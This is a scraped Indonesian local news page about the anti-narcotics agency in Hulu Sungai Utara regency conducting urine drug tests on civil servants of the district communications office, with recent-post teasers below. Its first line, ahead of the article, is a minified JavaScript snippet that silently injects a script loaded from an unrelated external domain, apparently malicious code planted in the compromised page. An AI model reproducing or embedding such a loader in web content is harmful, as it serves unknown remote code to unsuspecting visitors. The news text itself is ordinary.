(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

BNN Kabupaten HSU Gelar Tes Urine ASN Diskominfo


KANALKALIMANTAN.COM, AMUNTAI – Aparatur Sipil Negara (ASN) sebagai contoh bagi masyarakat haruslah terbebas dari Narkoba dan zat adiktif lainnya.

Hal ini diungkapkan Kepala Dinas Komunikasi dan Informatika (Diskominfo) Kabupaten Hulu Sungai Utara (HSU), H Adi Lesmana di sela pelaksanaan tes urine ASN Diskominfo oleh Badan Narkotika Nasional (BNN) Kabupaten HSU, Senin (8/11/2021).

“Kegiatan ini tentu sangatlah positif bagi kami, dengan mengikuti kegiatan ini berarti kita ikut turut serta mendukung ASN bebas dari Narkoba,” kata Adi Lesmana.

ASN Diskominfoi HSU harus membantu menyosialisasikan di lingkungan sekitar bahaya narkoba dan zat adiktif lainnya.

 

Baca juga : Inovasi ADIB DPMPTSP Kapuas, Layanan Perizinan Gratis bagi Usaha Kuliner

“Karena narkoba ini sangat tidak baik, dilarang baik dari sisi agama dan hukum,” imbuhnya.

Sementara itu, Kepala BNN Kabupaten HSU, Kompol H Syamsuddin menyebut, kegiatan ini merupakan tindak lanjut dengan adanya pernyataan Presiden RI bahwa Indonesia sudah menjadi negara yang darurat akan narkoba.

“Karena Indonesia sudah darurat Narkoba, ada MoU Menteri Dalam Negeri dengan Kepala BNN RI. BNN HSU sesuai dengan tugasnya setiap semester melaksanakan kegiatan, salah satunya sosialisasi dan tes urine,” ungkapnya.

Bahaya dari penggunaan narkoba akan berdampak kepada kehidupan, salah satunya dari segi keuangan yang akan hancur dikarenakan efek candu yang timbul dari narkoba tersebut.

 

Baca juga : “Kampung Literasi” Diluncurkan, Wali Kota Aditya: Minat Baca Masih Rendah

Rusmiati, Sub Koordinator Pencegahan dan Pemberdayaan Masyarakat (P2M) BNN Kabupaten HSU mengatakan bahwa kegiatan yang dilaksanakan ini adalah bentuk komitmen dari BNN Kabupaten HSU agar para ASN terbebas dari Narkoba.

Bentuk penerapan Instruksi Presiden (Inpres) Nomor 2 Tahun 2020 tentang Rencana Aksi nasional pencegahan dan pemberantasan penyalahgunaan dan peredaran gelap narkotika dan prekursor narkotika (P4GN). (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Desy Arfianty

Recent Posts

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

11 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

13 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

16 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

19 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

19 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

20 jam ago

This website uses cookies.